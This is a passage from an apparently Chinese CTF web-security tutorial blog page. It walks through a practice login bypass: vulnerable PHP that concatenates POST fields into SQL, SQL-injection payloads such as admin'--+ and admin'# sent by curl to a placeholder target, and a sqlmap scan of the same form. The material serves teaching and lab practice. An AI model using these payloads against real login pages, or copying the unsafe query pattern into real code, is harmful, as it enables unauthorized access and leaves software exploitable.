实战：登录绕过",[15,14160,14161,14162,14165],{},"题目：登录页 ",[29,14163,14164],{},"login.php","，源码：",[22,14167,14169],{"className":5231,"code":14168,"language":5233,"meta":27,"style":27},"$user = $_POST['user'];\n$pass = $_POST['pass'];\n$sql = \"SELECT * FROM users WHERE username='\" . $user . \"' AND password='\" . $pass . \"'\";\n",[29,14170,14171,14176,14181],{"__ignoreMap":27},[32,14172,14173],{"class":34,"line":35},[32,14174,14175],{},"$user = $_POST['user'];\n",[32,14177,14178],{"class":34,"line":41},[32,14179,14180],{},"$pass = $_POST['pass'];\n",[32,14182,14183],{"class":34,"line":47},[32,14184,14185],{},"$sql = \"SELECT * FROM users WHERE username='\" . $user . \"' AND password='\" . $pass . \"'\";\n",[283,14187,14189],{"id":14188},"第一步正常登录失败","第一步：正常登录失败",[15,14191,14192,14194],{},[138,14193,140],{},"：先建立\"正常请求\"的基线，确认接口参数名（user/pass）和失败时的输出特征。",[22,14196,14198],{"className":77,"code":14197,"language":79,"meta":27,"style":27},"curl -X POST \"http://target/login.php\" --data \"user=admin&pass=wrong\"\n",[29,14199,14200],{"__ignoreMap":27},[32,14201,14202,14204,14206,14208,14210,14213,14215,14218,14220,14223],{"class":34,"line":35},[32,14203,5464],{"class":86},[32,14205,13971],{"class":1016},[32,14207,13974],{"class":90},[32,14209,5467],{"class":1461},[32,14211,14212],{"class":90},"http://target/login.php",[32,14214,6107],{"class":1461},[32,14216,14217],{"class":1016}," --data",[32,14219,5467],{"class":1461},[32,14221,14222],{"class":90},"user=admin&pass=wrong",[32,14224,5473],{"class":1461},[15,14226,1348,14227,320],{},[29,14228,14229],{},"Login failed",[283,14231,14233],{"id":14232},"第二步构造绕过","第二步：构造绕过",[15,14235,14236,14238,14239,14242],{},[138,14237,146],{},"：观察源码 ",[29,14240,14241],{},"WHERE username='...' AND password='...'","，猜测我们可以在用户名里\"提前闭合单引号并用注释吃掉后半句\"。这样密码校验被注释掉，只要用户存在即可登录。",[15,14244,14245,14247,14248,14250,14251,66,14254,14257,14258,3871,14260,9643],{},[138,14246,1685],{},"：发送 payload 后看是否从 ",[29,14249,14229],{}," 变成成功页面；若失败，尝试 ",[29,14252,14253],{},"admin'#",[29,14255,14256],{},"admin'-- "," 等不同注释符（MySQL 支持 ",[29,14259,13328],{},[29,14261,14262],{},"#",[15,14264,1208],{},[22,14266,14268],{"className":77,"code":14267,"language":79,"meta":27,"style":27},"curl -X POST \"http://target/login.php\" --data \"user=admin'--+&pass=wrong\"\n",[29,14269,14270],{"__ignoreMap":27},[32,14271,14272,14274,14276,14278,14280,14282,14284,14286,14288,14291],{"class":34,"line":35},[32,14273,5464],{"class":86},[32,14275,13971],{"class":1016},[32,14277,13974],{"class":90},[32,14279,5467],{"class":1461},[32,14281,14212],{"class":90},[32,14283,6107],{"class":1461},[32,14285,14217],{"class":1016},[32,14287,5467],{"class":1461},[32,14289,14290],{"class":90},"user=admin'--+&pass=wrong",[32,14292,5473],{"class":1461},[15,14294,14295],{},"实际执行的 SQL：",[22,14297,14299],{"className":5258,"code":14298,"language":5260,"meta":27,"style":27},"SELECT * FROM users WHERE username='admin'-- ' AND password='wrong'\n",[29,14300,14301],{"__ignoreMap":27},[32,14302,14303],{"class":34,"line":35},[32,14304,14298],{},[15,14306,14307,14309,14310,14313],{},[29,14308,13328],{}," 注释掉密码部分。预期输出：",[29,14311,14312],{},"Login success"," 和 flag。",[15,14315,14316,14319,14320,14323,14324,14327],{},[138,14317,14318],{},"为什么能成功","：数据库中确实存在 ",[29,14321,14322],{},"admin"," 用户，查询 ",[29,14325,14326],{},"WHERE username='admin'"," 就能命中一行；命中即视为登录成功。",[283,14329,14331],{"id":14330},"第三步sqlmap-验证","第三步：sqlmap 验证",[15,14333,14334,14336],{},[138,14335,140],{},"：用工具确认手工结论，同时自动探测其他注入点。",[22,14338,14340],{"className":77,"code":14339,"language":79,"meta":27,"style":27},"sqlmap -u \"http://target/login.php\" --data \"user=a&pass=b\" --batch\n# --data 指定 POST 请求体；sqlmap 会分别对 user、pass 两个参数测试注入。\n# --batch 表示全程自动选择默认选项，不需要人工确认。\n# 预期输出：报告 Parameter: user (POST) 存在注入。\n",[29,14341,14342,14365,14370,14375],{"__ignoreMap":27},[32,14343,14344,14346,14348,14350,14352,14354,14356,14358,14361,14363],{"class":34,"line":35},[32,14345,6097],{"class":86},[32,14347,6100],{"class":1016},[32,14349,5467],{"class":1461},[32,14351,14212],{"class":90},[32,14353,6107],{"class":1461},[32,14355,14217],{"class":1016},[32,14357,5467],{"class":1461},[32,14359,14360],{"class":90},"user=a&pass=b",[32,14362,6107],{"class":1461},[32,14364,6110],{"class":1016},[32,14366,14367],{"class":34,"line":41},[32,14368,14369],{"class":2592},"# --data 指定 POST 请求体；sqlmap 会分别对 user、pass 两个参数测试注入。\n",[32,14371,14372],{"class":34,"line":47},[32,14373,14374],{"class":2592},"# --batch 表示全程自动选择默认选项，不需要人工确认。\n",[32,14376,14377],{"class":34,"line":53},[32,14378,14379],{"class":2592},"# 预期输出：报告 Parameter: user (POST) 存在注入。\n",[15,14381,14382,14383,14386],{},"预期输出：报告 ",[29,14384,14385],{},"Parameter: user (POST)"," 存在注入。",[10,14388,1042],{"id":1041},[15,14390,14391],{},"Web 入门只需要掌握：参数不可信；SQLi/XSS/SSRF 的复现与检测；curl、Burp、sqlmap 三个工具的核心用法。",[1051,14393,14394],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}",{"title":27,"searchDepth":41,"depth":41,"links":14396},[14397,14398,14399,14400,14401,14402,14403,14404,14405,14406],{"id":12564,"depth":47,"text":12565},{"id":12672,"depth":47,"text":12673},{"id":12770,"depth":47,"text":12771},{"id":13365,"depth":47,"text":13366},{"id":13658,"depth":47,"text":13659},{"id":13882,"depth":47,"text":13883},{"id":13996,"depth":47,"text":13997},{"id":14060,"depth":47,"text":14061},{"id":14157,"depth":47,"text":14158},{"id":1041,"depth":47,"text":1042},"完整复现 SQL 注入、XSS、SSRF 三个漏洞：环境搭建、请求与响应、演示 curl、Burp Suite、sqlmap 的核心用法。",{"date":1069,"image":14409,"alt":14410,"tags":14411,"published":196},"/blogs-img/blog9.png","CTF Web 入门",[1073,6617,1076],"/blogs/ctf-web-overview",{"title":12559,"description":14407},"blogs/9. ctf-web-overview","Zw9ZNNI8nq4-16xeG1TaILfNuOv5EuKnOPkpkm05cIk",1786796567922]